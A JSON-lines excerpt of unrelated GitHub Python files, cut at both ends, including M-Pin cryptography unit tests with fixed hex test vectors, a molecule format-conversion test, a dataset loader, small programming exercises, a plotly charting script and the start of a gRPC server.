ffi.new(\"char []\", G1)\nTP2[0].val = TP2val\nTP2[0].max = G1 \nTP2[0].len = G1\n\nTIME_PERMIT = ffi.new(\"octet*\")\nTIME_PERMITval = ffi.new(\"char []\", G1) \nTIME_PERMIT[0].val = TIME_PERMITval\nTIME_PERMIT[0].max = G1 \nTIME_PERMIT[0].len = G1\n\n# Token stored on computer \nTOKEN = ffi.new(\"octet*\")\nTOKENval = ffi.new(\"char []\", G1) \nTOKEN[0].val = TOKENval\nTOKEN[0].max = G1 \nTOKEN[0].len = G1\n\nUT = ffi.new(\"octet*\")\nUTval = ffi.new(\"char []\", G1)\nUT[0].val = UTval\nUT[0].max = G1 \nUT[0].len = G1\n\nU = ffi.new(\"octet*\")\nUval = ffi.new(\"char []\", G1) \nU[0].val = Uval\nU[0].max = G1 \nU[0].len = G1\n\nX = ffi.new(\"octet*\")\nXval = ffi.new(\"char []\", PGS) \nX[0].val = Xval\nX[0].max = PGS \nX[0].len = PGS\n\nY = ffi.new(\"octet*\")\nYval = ffi.new(\"char []\", PGS) \nY[0].val = Yval\nY[0].max = PGS \nY[0].len = PGS\n\nlenEF = 12 * PFS\nE = ffi.new(\"octet*\")\nEval = ffi.new(\"char []\", lenEF)\nE[0].val = Eval\nE[0].max = lenEF \nE[0].len = lenEF\n\nF = ffi.new(\"octet*\")\nFval = ffi.new(\"char []\", lenEF) \nF[0].val = Fval\nF[0].max = lenEF \nF[0].len = lenEF\n\n# H(ID)\nHID = ffi.new(\"octet*\")\nHIDval = ffi.new(\"char []\", G1) \nHID[0].val = HIDval\nHID[0].max = G1 \nHID[0].len = G1\n\n# H(T|H(ID)) \nHTID = ffi.new(\"octet*\")\nHTIDval = ffi.new(\"char []\", G1) \nHTID[0].val = HTIDval\nHTID[0].max = G1 \nHTID[0].len = G1\n\n\nclass TestMPIN(unittest.TestCase):\n \"\"\"Tests M-Pin crypto code\"\"\"\n\n def setUp(self):\n \n # Form MPin ID\n endUserData = {\n \"issued\": \"2013-10-19T06:12:28Z\",\n \"userID\": \"testUser@certivox.com\",\n \"mobile\": 1,\n \"salt\": \"e985da112a378c222cfc2f7226097b0c\"\n }\n mpin_id = json.dumps(endUserData) \n\n self.MPIN_ID = ffi.new(\"octet*\")\n self.MPIN_IDval = ffi.new(\"char [%s]\" % len(mpin_id), mpin_id)\n self.MPIN_ID[0].val = self.MPIN_IDval\n self.MPIN_ID[0].max = len(mpin_id)\n self.MPIN_ID[0].len = len(mpin_id)\n \n # Hash value of MPIN_ID\n self.HASH_MPIN_ID = ffi.new(\"octet*\")\n self.HASH_MPIN_IDval = ffi.new(\"char []\", HASH_BYTES)\n self.HASH_MPIN_ID[0].val = self.HASH_MPIN_IDval\n self.HASH_MPIN_ID[0].max = HASH_BYTES \n self.HASH_MPIN_ID[0].len = HASH_BYTES\n libmpin.MPIN_HASH_ID(self.MPIN_ID, self.HASH_MPIN_ID) \n\n # Assign a seed value\n seedHex = \"3ade3d4a5c698e8910bf92f25d97ceeb7c25ed838901a5cb5db2cf25434c1fe76c7f79b7af2e5e1e4988e4294dbd9bd9fa3960197fb7aec373609fb890d74b16a4b14b2ae7e23b75f15d36c21791272372863c4f8af39980283ae69a79cf4e48e908f9e0\"\n self.seed = seedHex.decode(\"hex\")\n self.RAW = ffi.new(\"octet*\")\n self.RAWval = ffi.new(\"char [%s]\" % len(self.seed), self.seed)\n self.RAW[0].val = self.RAWval\n self.RAW[0].len = len(self.seed)\n self.RAW[0].max = len(self.seed)\n\n self.date = 16238 \n self.ms1Hex = \"035fb3138d1dfa87cd7aab637faa7400f0c8416ab7e922ddea8dc0462bc0123a\"\n self.ms2Hex = \"1c9c8ad28f36fd10f5f33ea3b9db0a1eaf8ef7fc13cd55d1b47d7e607e3ca619\"\n self.ss1Hex = \"114658f8ccb93969fc7ec23257397dbe820a329016182d3168cb2d9b8ce9cbcc0d580feb5b621d6c00ed12e70688ec130a138a48b2c2fd57695bad71290c365d1d621117cbcd2061357965ca2f81468979ca527c9888ae87d84d8df0589e6814041a1ca3163dd77d9b0c29c0a6aadca1cbaa7c2905d8eb8ab12051ea06f12439\"\n self.ss2Hex = \"239b55f12040f70b6a5e53c45985aa4bfa368a3d26a000775f7960a2716023350b08851b5753c33bddba07c172f4745abb70e587902dca52e49199ee4c2562130a910fb6402c417e753a873b907153820ae5854a4c27948806000e82452d77f3127e66573cae233c07137e63fbac8f09ef39718c421f71f1b9be5f150a17bd12\"\n self.serverSecretHex = \"09aa0e36fa30c9b0cc9d5fa7b2be33595542f408a49ad0c91c4f7bba3d993cfc23eca9811699525fa8523069b6d6e1540deeb94eaa26c1e15776b4ab65e4603c0a161baa02d75fb1e966863b51ac5ee67872f663926b8537292dd170e83a136e098e2da97161db6c75a182088af1da6557d06a7816ec6ac7882262ce183fc605\"\n self.cs1Hex = \"04050de8b61fa91b4747017a7ed72ceb4b26056382435413eab2b9259a4c99f9161eb63db017296616b59b861f2433f44cc56a3d8d5ed600cf338de0f7ce62b900\"\n self.cs2Hex = \"0420b7333796a1d7a5abc553dcbacff281f5a4b8dea937da548ee6103c0089b6a218e0d1d617a55f9b789c4ebd25f5cf8aafd0f666306031cf5b6faa9e50d88f50\"\n self.clientSecretHex = \"040b98a2b31786a50f548bd692171f99d1d1be26129725519624d3cc90b98bd17321a24c5b9511ff887672e460d6157b1c5461114e4e4f62d6207f5e8d48919fad\"\n self.tp1Hex = \"04123c806b8366721e3718a731fa109c144561f033ff5fe44356091a3c2365c9182218b86526247eb7fd552575800ef3cc9da22c6655d7795377b216030c9f1f62\"\n self.tp2Hex = \"041cf3f5604e5f8ecb44bc3e36f5fa1fe68e873b0822646a3a8f0fcf0477f561241a6bda4a9e93a455a6b940126feae5959ca855870cd8275d7dd1a4df4ddb6211\"\n self.timePermitHex = \"0405198cbd152cfc860cc22d6c16d92ff1a1d5d6d9b268588c3a74c4e6fc056a0002d35c769458aaaf01ecc34cbaf7b6d8154deb2d26db332c5a421557f4fe1ba3\"\n self.tokenHex = \"04213945622f5c6638c13692d77f12983cb0664fb51f7f36a5664872894b87dc051786a8747cf01b749f78fb75aa64bc932e71c9a6e1ee261aa687564bf38be329\"\n\n # Token\n self.token = self.tokenHex.decode(\"hex\")\n self.TOKEN = ffi.new(\"octet*\")\n self.TOKENval = ffi.new(\"char [%s]\" % len(self.token), self.token)\n self.TOKEN[0].val = self.TOKENval\n self.TOKEN[0].len = len(self.token)\n self.TOKEN[0].max = len(self.token)\n\n # TIME_PERMIT\n self.timePermit = self.timePermitHex.decode(\"hex\")\n self.TIMEPERMIT = ffi.new(\"octet*\")\n self.TIMEPERMITval = ffi.new(\"char [%s]\" % len(self.timePermit), self.timePermit)\n self.TIMEPERMIT[0].val = self.TIMEPERMITval\n self.TIMEPERMIT[0].len = len(self.timePermit)\n self.TIMEPERMIT[0].max = len(self.timePermit)\n\n # SERVER_SECRET\n self.serverSecret = self.serverSecretHex.decode(\"hex\")\n self.SERVER_SECRET = ffi.new(\"octet*\")\n self.SERVER_SECRETval = ffi.new(\"char [%s]\" % len(self.serverSecret), self.serverSecret)\n self.SERVER_SECRET[0].val = self.SERVER_SECRETval\n self.SERVER_SECRET[0].len = len(self.serverSecret)\n self.SERVER_SECRET[0].max = len(self.serverSecret)\n\n self.ms1 = self.ms1Hex.decode(\"hex\")\n self.clientSecret = self.clientSecretHex.decode(\"hex\") \n self.timePermit = self.timePermitHex.decode(\"hex\")\n \n def test_1(self):\n \"\"\"test_1 Good PIN and good token\"\"\"\n PIN = 1234\n\n # random number generator\n RNG = ffi.new(\"csprng*\")\n libmpin.CREATE_CSPRNG(RNG,self.RAW)\n\n # Client first pass \n rtn = libmpin.MPIN_CLIENT_1(self.date,self.MPIN_ID,RNG,X,PIN,self.TOKEN,SEC,U,UT,self.TIMEPERMIT)\n self.assertEqual(rtn, 0)\n\n # Server calculates H(ID) and H(T|H(ID))\n libmpin.MPIN_SERVER_1(self.date, self.MPIN_ID,HID,HTID); \n \n # Server generates Random number Y and sends it to Client \n rtn = libmpin.MPIN_RANDOM_GENERATE(RNG,Y)\n self.assertEqual(rtn, 0) \n \n # Client second pass \n rtn = libmpin.MPIN_CLIENT_2(X,Y,SEC)\n self.assertEqual(rtn, 0) \n \n # Server second pass\n rtn = libmpin.MPIN_SERVER_2(self.date,HID,HTID,Y,self.SERVER_SECRET,U,UT,SEC,E,F)\n self.assertEqual(rtn, 0) \n\n def test_2(self):\n \"\"\"test_2 Bad PIN and good token\"\"\"\n PIN = 2000\n\n # random number generator\n RNG = ffi.new(\"csprng*\")\n libmpin.CREATE_CSPRNG(RNG,self.RAW)\n\n # Client first pass \n rtn = libmpin.MPIN_CLIENT_1(self.date,self.MPIN_ID,RNG,X,PIN,self.TOKEN,SEC,U,UT,self.TIMEPERMIT)\n self.assertEqual(rtn, 0) \n\n # Server calculates H(ID) and H(T|H(ID))\n libmpin.MPIN_SERVER_1(self.date, self.MPIN_ID,HID,HTID); \n \n # Server generates Random number Y and sends it to Client \n rtn = libmpin.MPIN_RANDOM_GENERATE(RNG,Y)\n self.assertEqual(rtn, 0) \n \n # Client second pass \n rtn = libmpin.MPIN_CLIENT_2(X,Y,SEC)\n self.assertEqual(rtn, 0) \n \n # Server second pass \n rtn = libmpin.MPIN_SERVER_2(self.date,HID,HTID,Y,self.SERVER_SECRET,U,UT,SEC,E,F)\n self.assertEqual(rtn, -19) \n\n def test_3(self):\n \"\"\"test_3 Good PIN and bad token\"\"\"\n PIN = 1234\n\n # random number generator\n RNG = ffi.new(\"csprng*\")\n libmpin.CREATE_CSPRNG(RNG,self.RAW)\n\n # Client first pass \n rtn = libmpin.MPIN_CLIENT_1(self.date,self.MPIN_ID,RNG,X,PIN,self.TOKEN,SEC,U,UT,self.TIMEPERMIT)\n self.assertEqual(rtn, 0) \n\n # Server calculates H(ID) and H(T|H(ID))\n libmpin.MPIN_SERVER_1(self.date, self.MPIN_ID,HID,HTID); \n \n # Server generates Random number Y and sends it to Client \n rtn = libmpin.MPIN_RANDOM_GENERATE(RNG,Y)\n self.assertEqual(rtn, 0) \n \n # Client second pass \n rtn = libmpin.MPIN_CLIENT_2(X,Y,SEC)\n self.assertEqual(rtn, 0) \n \n # Server second pass\n # clientSecret aka V is equal to UT to model a bad token\n rtn = libmpin.MPIN_SERVER_2(self.date,HID,HTID,Y,self.SERVER_SECRET,U,UT,UT,E,F)\n self.assertEqual(rtn, -19)\n \n def test_4(self):\n \"\"\"test_4 Test hash function\"\"\"\n HASH_MPIN_ID = ffi.new(\"octet*\")\n HASH_MPIN_IDval = ffi.new(\"char []\", HASH_BYTES)\n HASH_MPIN_ID[0].val = HASH_MPIN_IDval\n HASH_MPIN_ID[0].max = HASH_BYTES \n HASH_MPIN_ID[0].len = HASH_BYTES\n \n for i in range(1,10000):\n bytesStr = os.urandom(128)\n hash_object2 = hashlib.sha256(bytesStr)\n digest = hash_object2.hexdigest()\n MPIN_ID = ffi.new(\"octet*\")\n MPIN_IDval = ffi.new(\"char [%s]\" % len(bytesStr), bytesStr)\n MPIN_ID[0].val = MPIN_IDval\n MPIN_ID[0].max = len(bytesStr)\n MPIN_ID[0].len = len(bytesStr)\n libmpin.MPIN_HASH_ID(MPIN_ID, HASH_MPIN_ID) \n self.assertEqual(digest, toHex(HASH_MPIN_ID))\n\n def test_5(self):\n \"\"\"test_5 Make sure all client secret are unique\"\"\"\n # random number generator\n RNG = ffi.new(\"csprng*\")\n libmpin.CREATE_CSPRNG(RNG,self.RAW)\n \n # Generate master secret share\n rtn = libmpin.MPIN_RANDOM_GENERATE(RNG,MS1)\n self.assertEqual(rtn, 0) \n \n s = set()\n match = 0 \n for i in range(1,1000):\n rand_val = os.urandom(32)\n HASH_MPIN_ID = ffi.new(\"octet*\")\n HASH_MPIN_IDval = ffi.new(\"char [%s]\"% HASH_BYTES, rand_val)\n HASH_MPIN_ID[0].val = HASH_MPIN_IDval\n HASH_MPIN_ID[0].max = HASH_BYTES \n HASH_MPIN_ID[0].len = HASH_BYTES\n \n # Generate client secret shares\n rtn = libmpin.MPIN_GET_CLIENT_SECRET(MS1,HASH_MPIN_ID,CS1)\n self.assertEqual(rtn, 0)\n cs1Hex = toHex(CS1)\n if cs1Hex in s:\n match = 1\n self.assertEqual(match, 0) \n s.add(cs1Hex)\n\n def test_6(self):\n \"\"\"test_6 Make sure all one time passwords are random i.e. they should collide\"\"\"\n # random number generator\n RNG = ffi.new(\"csprng*\")\n libmpin.CREATE_CSPRNG(RNG,self.RAW)\n \n s = set()\n match = 0 \n for i in range(1,10000):\n OTP = libmpin.generateOTP(RNG)\n if OTP in s:\n # print i\n match = 1 \n s.add(OTP)\n self.assertEqual(match, 1)\n\n def test_7(self):\n \"\"\"test_7 Make sure all random values are random i.e. they should collide\"\"\"\n # random number generator\n RNG = ffi.new(\"csprng*\")\n libmpin.CREATE_CSPRNG(RNG,self.RAW)\n\n # Generate 100 byte random number\n RANDOMlen = 3\n RANDOM = ffi.new(\"octet*\")\n RANDOMval = ffi.new(\"char []\", RANDOMlen)\n RANDOM[0].val = RANDOMval\n RANDOM[0].max = RANDOMlen \n RANDOM[0].len = RANDOMlen\n \n s = set()\n match = 0 \n for i in range(1,10000):\n libmpin.generateRandom(RNG, RANDOM)\n random = toHex(RANDOM) \n if random in s:\n # print i\n match = 1 \n s.add(random)\n self.assertEqual(match, 1)\n\n def test_8(self):\n \"\"\"test_8 Generation of secrets and time permits\"\"\"\n \n # random number generator\n RNG = ffi.new(\"csprng*\")\n libmpin.CREATE_CSPRNG(RNG,self.RAW)\n \n # Generate Client master secret share for Certivox and Customer\n rtn = libmpin.MPIN_RANDOM_GENERATE(RNG,MS1)\n self.assertEqual(rtn, 0) \n self.assertEqual(self.ms1Hex, toHex(MS1))\n rtn = libmpin.MPIN_RANDOM_GENERATE(RNG,MS2)\n self.assertEqual(rtn, 0) \n self.assertEqual(self.ms2Hex, toHex(MS2))\n\n # Generate server secret shares \n rtn = libmpin.MPIN_GET_SERVER_SECRET(MS1,SS1)\n self.assertEqual(rtn, 0)\n self.assertEqual(self.ss1Hex, toHex(SS1))\n rtn = libmpin.MPIN_GET_SERVER_SECRET(MS2,SS2)\n self.assertEqual(rtn, 0)\n self.assertEqual(self.ss2Hex, toHex(SS2))\n \n # Combine server secret shares \n rtn = libmpin.MPIN_RECOMBINE_G2( SS1, SS2, SERVER_SECRET)\n self.assertEqual(rtn, 0)\n self.assertEqual(self.serverSecretHex, toHex(SERVER_SECRET))\n \n # Generate client secret shares \n rtn = libmpin.MPIN_GET_CLIENT_SECRET(MS1,self.HASH_MPIN_ID,CS1)\n self.assertEqual(rtn, 0)\n self.assertEqual(self.cs1Hex, toHex(CS1))\n rtn = libmpin.MPIN_GET_CLIENT_SECRET(MS2,self.HASH_MPIN_ID,CS2)\n self.assertEqual(rtn, 0)\n self.assertEqual(self.cs2Hex, toHex(CS2))\n \n # Combine client secret shares : TOKEN is the full client secret \n rtn = libmpin.MPIN_RECOMBINE_G1(CS1, CS2, TOKEN)\n self.assertEqual(rtn, 0)\n self.assertEqual(self.clientSecretHex, toHex(TOKEN))\n\n # Generate Time Permit shares\n rtn = libmpin.MPIN_GET_CLIENT_PERMIT(self.date,MS1,self.HASH_MPIN_ID,TP1)\n self.assertEqual(rtn, 0) \n self.assertEqual(self.tp1Hex, toHex(TP1))\n rtn = libmpin.MPIN_GET_CLIENT_PERMIT(self.date,MS2,self.HASH_MPIN_ID,TP2)\n self.assertEqual(rtn, 0) \n self.assertEqual(self.tp2Hex, toHex(TP2))\n \n # Combine Time Permit shares \n rtn = libmpin.MPIN_RECOMBINE_G1(TP1, TP2, TIME_PERMIT)\n self.assertEqual(rtn, 0) \n self.assertEqual(self.timePermitHex, toHex(TIME_PERMIT))\n \n # Client extracts PIN from secret to create Token \n PIN=1234\n rtn = libmpin.MPIN_EXTRACT_PIN(self.MPIN_ID, PIN, TOKEN)\n self.assertEqual(rtn, 0)\n self.assertEqual(self.tokenHex, toHex(TOKEN))\n\n def test_9(self):\n \"\"\"test_9 Test successful authentication for different master secrets\"\"\"\n\n for i in range(1,1000):\n # Assign a seed value\n seed = os.urandom(32)\n RAW = ffi.new(\"octet*\")\n RAWval = ffi.new(\"char [%s]\" % len(seed), seed)\n RAW[0].val = RAWval\n RAW[0].len = len(seed)\n RAW[0].max = len(seed)\n \n # random number generator\n RNG = ffi.new(\"csprng*\")\n libmpin.CREATE_CSPRNG(RNG, RAW)\n \n # Generate Client master secret share for Certivox and Customer\n rtn = libmpin.MPIN_RANDOM_GENERATE(RNG,MS1)\n self.assertEqual(rtn, 0) \n rtn = libmpin.MPIN_RANDOM_GENERATE(RNG,MS2)\n self.assertEqual(rtn, 0) \n \n # Generate server secret shares \n rtn = libmpin.MPIN_GET_SERVER_SECRET(MS1,SS1)\n self.assertEqual(rtn, 0)\n rtn = libmpin.MPIN_GET_SERVER_SECRET(MS2,SS2)\n self.assertEqual(rtn, 0)\n \n # Combine server secret shares \n rtn = libmpin.MPIN_RECOMBINE_G2(SS1, SS2, SERVER_SECRET)\n self.assertEqual(rtn, 0)\n \n # Generate client secret shares \n rtn = libmpin.MPIN_GET_CLIENT_SECRET(MS1,self.HASH_MPIN_ID,CS1)\n self.assertEqual(rtn, 0)\n rtn = libmpin.MPIN_GET_CLIENT_SECRET(MS2,self.HASH_MPIN_ID,CS2)\n self.assertEqual(rtn, 0)\n \n # Combine client secret shares : TOKEN is the full client secret \n rtn = libmpin.MPIN_RECOMBINE_G1(CS1, CS2, TOKEN)\n self.assertEqual(rtn, 0)\n \n # Generate Time Permit shares\n rtn = libmpin.MPIN_GET_CLIENT_PERMIT(self.date,MS1,self.HASH_MPIN_ID,TP1)\n self.assertEqual(rtn, 0) \n rtn = libmpin.MPIN_GET_CLIENT_PERMIT(self.date,MS2,self.HASH_MPIN_ID,TP2)\n self.assertEqual(rtn, 0) \n \n # Combine Time Permit shares \n rtn = libmpin.MPIN_RECOMBINE_G1(TP1, TP2, TIME_PERMIT)\n self.assertEqual(rtn, 0) \n \n # Client extracts PIN from secret to create Token \n PIN=1234\n rtn = libmpin.MPIN_EXTRACT_PIN(self.MPIN_ID, PIN, TOKEN)\n self.assertEqual(rtn, 0)\n \n # Client first pass \n rtn = libmpin.MPIN_CLIENT_1(self.date,self.MPIN_ID,RNG,X,PIN,TOKEN,SEC,U,UT,TIME_PERMIT)\n self.assertEqual(rtn, 0) \n\n # Server calculates H(ID) and H(T|H(ID))\n libmpin.MPIN_SERVER_1(self.date, self.MPIN_ID,HID,HTID); \n \n # Server generates Random number Y and sends it to Client \n rtn = libmpin.MPIN_RANDOM_GENERATE(RNG,Y)\n self.assertEqual(rtn, 0) \n \n # Client second pass \n rtn = libmpin.MPIN_CLIENT_2(X,Y,SEC)\n self.assertEqual(rtn, 0) \n \n # Server second pass \n rtn = libmpin.MPIN_SERVER_2(self.date,HID,HTID,Y,SERVER_SECRET,U,UT,SEC,E,F)\n self.assertEqual(rtn, 0) \n\n\n def test_10(self):\n \"\"\"test_10 Test mss starting with 00 are handled correctly\"\"\"\n\n for i in range(1,1000):\n # Assign a seed value\n seed = os.urandom(32)\n RAW = ffi.new(\"octet*\")\n RAWval = ffi.new(\"char [%s]\" % len(seed), seed)\n RAW[0].val = RAWval\n RAW[0].len = len(seed)\n RAW[0].max = len(seed)\n \n # random number generator\n RNG = ffi.new(\"csprng*\")\n libmpin.CREATE_CSPRNG(RNG, RAW)\n \n # Generate master secret - ms1\n rtn = libmpin.MPIN_RANDOM_GENERATE(RNG,MS1)\n self.assertEqual(rtn, 0) \n ms1_hex = toHex(MS1)\n ms1 = ms1_hex.decode(\"hex\")\n # Assign ms1 to ms2 if it starts with \"00\"\n if ms1_hex.startswith('00'):\n MS2 = ffi.new(\"octet*\")\n MS2val = ffi.new(\"char [%s]\" % PGS, ms1)\n MS2[0].val = MS2val\n MS2[0].max = PGS \n MS2[0].len = PGS\n \n # Generate client secret shares \n rtn = libmpin.MPIN_GET_CLIENT_SECRET(MS1,self.HASH_MPIN_ID,CS1)\n self.assertEqual(rtn, 0)\n cs1_hex = toHex(CS1)\n rtn = libmpin.MPIN_GET_CLIENT_SECRET(MS2,self.HASH_MPIN_ID,CS2)\n self.assertEqual(rtn, 0)\n cs2_hex = toHex(CS2)\n self.assertEqual(cs1_hex, cs2_hex)\n\nif __name__ == '__main__':\n # Run tests\n unittest.main() \n","repo_name":"gitter-badger/MiotCL","sub_path":"pythonCFFI/TestMPINBNCX.py","file_name":"TestMPINBNCX.py","file_ext":"py","file_size_in_byte":21160,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"26843299598","text":"# $Id$\n\nimport unittest\nfrom StringIO import StringIO\nfrom itcc.molecule import xyz2pdb\n\ntest_in = ''' 1 19.0934\n 1 C 3.666000 0.063000 0.085000 1\n'''\n\ntest_out = '''HEADER generated by itcc\nHETATM 1 C UNK 1 3.666 0.063 0.085 1.00 0.00\nEND\n'''\n\nclass TestXyz2pdb(unittest.TestCase):\n def test(self):\n ifile = StringIO(test_in)\n ofile = StringIO()\n xyz2pdb.xyz2pdb(ifile, ofile)\n self.assertEqual(ofile.getvalue(), test_out)\n\ndef _test():\n unittest.main()\n\nif __name__ == '__main__':\n _test()\n\n \n\n\n","repo_name":"lidaobing/itcc","sub_path":"tests/molecule/xyz2pdb.py","file_name":"xyz2pdb.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"31902543989","text":"#Imports\nimport json\nfrom PIL import Image\nimport os\nimport numpy as np\n\nclass Dataset(object):\n '''\n A class for the dataset that will return data items as per the given index\n '''\n\n def __init__(self, annotation_file, transforms=None):\n '''\n Arguments:\n annotation_file: path to the annotation file\n transforms: list of transforms (class instances)\n For instance, [, ]\n '''\n \n self.transforms = transforms\n with open(annotation_file, 'r+') as f:\n jsonlist = list(f)\n self.lt = []\n for string in jsonlist:\n self.lt.append(json.loads(string))\n def __len__(self):\n '''\n return the number of data points in the dataset\n '''\n return len(self.lt)\n\n \n def __getann__(self, idx):\n '''\n return the data items for the index idx as an object\n '''\n index = self.lt [idx]\n jpg = \"data/imgs/\"+index[\"file_name\"]\n url = index[\"url\"]\n return (jpg,url)\n \n\n def __transformitem__(self, path):\n '''\n return transformed PIL Image object for the image in the given path\n '''\n im = []\n img = Image.open(path)\n if self.transforms != None:\n for instanceTransform in self.transforms:\n imon = instanceTransform (img)\n im.append(imon)\n return im","repo_name":"rajarshi-dbms/data-Science-Project","sub_path":"my_package/data/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71404507469","text":"from time import sleep\nv1 = int(input('Digite um valor: '))\nv2 = int(input('Digite outro valor: '))\nopção = 0\nwhile opção != 5:\n print('-=-'*20)\n print(''' [ 1 ]somar\n [ 2 ]multiplicar\n [ 3 ]maior\n [ 4 ]novos números \n [ 5 ]sair do programa''')\n print('-=-'*20)\n opção = int(input('Qual sua opção?: '))\n if opção == 1:\n soma = v1 + v2\n print(f'A soma de {v1} e {v2} é {soma}')\n elif opção ==2:\n multiplicação = v1 * v2\n print(f'O resultado de {v1} x {v2} é {multiplicação}')\n elif opção == 3:\n if v1 > v2:\n valorg = v1\n print(f'O maior valor entre {v1} e {v2} é {valorg}')\n elif v1 == v2:\n print('Os valores são iguais ')\n else:\n valorp = v2\n print(f'O maior valor entre {v1} e {v2} é {valorp}')\n elif opção == 4:\n v1 = int(input('Digite valor: '))\n v2 = int(input('Digite outro valor: '))\n elif opção == 5:\n print('Finalizando...')\n else:\n print('Opção invalida ')\n print('-=-'*20)\n sleep(2)\n\nprint('Fim do programa , volte sempre !')\n","repo_name":"danieldevid/projetos","sub_path":"desafio 059.py","file_name":"desafio 059.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28182785264","text":"#!/usr/bin/env python\n# coding:utf-8\n\n# https://www.liaoxuefeng.com/wiki/0014316089557264a6b348958f449949df42a6d3a2e542c000/001431756044276a15558a759ec43de8e30eb0ed169fb11000\n# 汉诺塔的移动可以用递归函数非常简单地实现\n\n'''\n请编写move(n, a, b, c)函数,它接收参数n,表示3个柱子A、B、C中第1个柱子A的盘子数量,\n然后打印出把所有盘子从A借助B移动到C的方法\nhttps://www.zhihu.com/question/37152936\n\n'''\n\n\ndef move(n, a, b, c):\n if n == 1:\n print(a, '->', c)\n else:\n move(n-1, a, c, b) # n-1个盘,从A借助C移动到B\n move(1, a, b, c) # 1个盘,从A借助B移动到C\n move(n-1, b, a, c) # n-1个盘,从B借助A移动到C\n\n\nif __name__ == '__main__':\n move(2, 'A', 'B', 'C')","repo_name":"yudn/Python3Scripts","sub_path":"liaoxuefeng/RecursiveFunction/Tower_of_Hanoi.py","file_name":"Tower_of_Hanoi.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"zh","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"23710014582","text":"import db\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport plotly.plotly as py\nimport plotly.graph_objs as go\n\n'''\nConstants and variable used when\nexamining the funded projects database.\n'''\nkFundedProjectsName = 'FundedProjects.csv'\nsponsorsDict = {}\nprojectLeadersDict = {}\ncountyDict = {}\n\nproposedProjectsSponsorsDict = {}\n\n\ndef compileFundedSponsorsDict(reader):\n for row in reader:\n if row[1] in sponsorsDict:\n sponsorsDict[row[1]] += 1\n else:\n sponsorsDict[row[1]] = 1\n\n if row[2] in projectLeadersDict:\n projectLeadersDict[row[2]] += 1\n else:\n projectLeadersDict[row[2]] = 1\n\n if row[3]:\n if row[3] in countyDict:\n countyDict[row[3]] += 1\n else:\n countyDict[row[3]] = 1\n\n\ndef compileProposedProjectsDicts(reader):\n for row in reader:\n if row[12]:\n if row[12] in proposedProjectsSponsorsDict:\n proposedProjectsSponsorsDict[row[12]] += 1\n else:\n proposedProjectsSponsorsDict[row[12]] = 1\n\n\ndef plot():\n # iplotPlotPie(sponsorsDict, \"Sponsors of funded Projects.\")\n # iplotPlotPie(projectLeadersDict, \"Funded Projects Project Leaders.\")\n # iplotPlotPie(countyDict, \"Counties of funded projects.\")\n iplotPlotPie(proposedProjectsSponsorsDict, \"Sponsors of proposed Projects.\")\n\n\ndef iplotPlotPie(dict, title):\n fig = {\n 'data': [\n {\n 'labels': dict.keys(),\n 'values': dict.values(),\n 'type': 'pie'\n }\n ],\n 'layout': {'title': title}\n }\n py.plot(fig)\n\n\n# def iplotPlotBubble(dict, title):\n# def iplotBar(dict, title):\n\n\ndef getRandomIntList(low, high, size):\n return np.random.randint(low, high, size)\n\n\n\n\n\n\ndef main():\n csvHandle1 = db.createReader(kFundedProjectsName)\n csvHandle2 = db.createReader(db.kDB)\n # compileFundedSponsorsDict(csvHandle1[0])\n compileProposedProjectsDicts(csvHandle2[0])\n # print getRandomIntList(0, 400, 400)\n plot()\n db.closeDB(csvHandle1[1])\n db.closeDB(csvHandle2[1])\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jlikhuva/IRWMP","sub_path":"BayArea/wrangling.py","file_name":"wrangling.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23204918746","text":"'''\n\t[문제]\t\t\n\t\t[1] com리스트에 0~9사이의 랜덤 숫자 3개를 저장하되 중복 값이 없어야 한다.\n\t\t[2] me리스트에 0~9사이의 랜덤 숫자 3개를 저장하되 중복 값이 없어야 한다.\n\t\t[3] com과 me 를 비교해서 숫자가 같고 자리도 같으면 strike + 1\n\t\t[4] com과 me 를 비교해서 숫자가 같고 자리가 틀리면 ball + 1\n\t\t[5] 사용자에게 strike와 ball 개수를 출력해 보여준다.\n\t\t\n\t\t계속 반복하면서 strike가 3이 되면 종료한다.\n'''\n\nprint('===[2023-03-08(수)]===')\n\nimport random\ncom = [0, 0, 0]\nme = [0, 0, 0]\n\ndef getList(arr):\n\ti = 0\n\twhile i < len(arr):\n\t\t\n\t\tr = random.randint(1, 9)\n\n\t\tisDuplicate = False\n\t\tj = 0\n\t\twhile j < i:\n\t\t\tif arr[j] == r:\n\t\t\t\tisDuplicate = True\n\t\t\t\tbreak\n\t\t\tj += 1\n\n\t\tif isDuplicate == False:\n\t\t\tarr[i] = r\n\t\t\ti += 1\n\n\treturn arr\n\n\ncom = getList(com)\n\nwhile True:\n\n\tstrike = 0\n\tball = 0\n\tme = getList(me)\n\n\tfor i in range(len(com)):\n\t\tfor j in range(len(me)):\n\t\t\tif com[i] == me[j]:\n\t\t\t\tball +=1\n\t\t\t\tif i == j:\n\t\t\t\t\tstrike += 1\n\n\tprint(\"com:\", com)\n\tprint(\"me:\", me, \", ball:\", ball, \", strike:\", strike)\n\tprint()\n\n\tif strike == len(com):\n\t\tbreak\n\n\n","repo_name":"vermilion9312/keduit_001_pythonConsole","sub_path":"I이차반복/이차반복4_문제_유동배열/이차반복4_문제07_숫자야구_문제.py","file_name":"이차반복4_문제07_숫자야구_문제.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37651090138","text":"from __future__ import print_function\n\nimport logging\nimport multiprocessing\n\nimport grpc\nfrom concurrent import futures\n\nimport numpy as np\n\nfrom protos import ObjGen_pb2_grpc\n\n\nclass Detect_obj(ObjGen_pb2_grpc.ObjGenServicer):\n\n def __init__(self, port):\n print(\"obj server 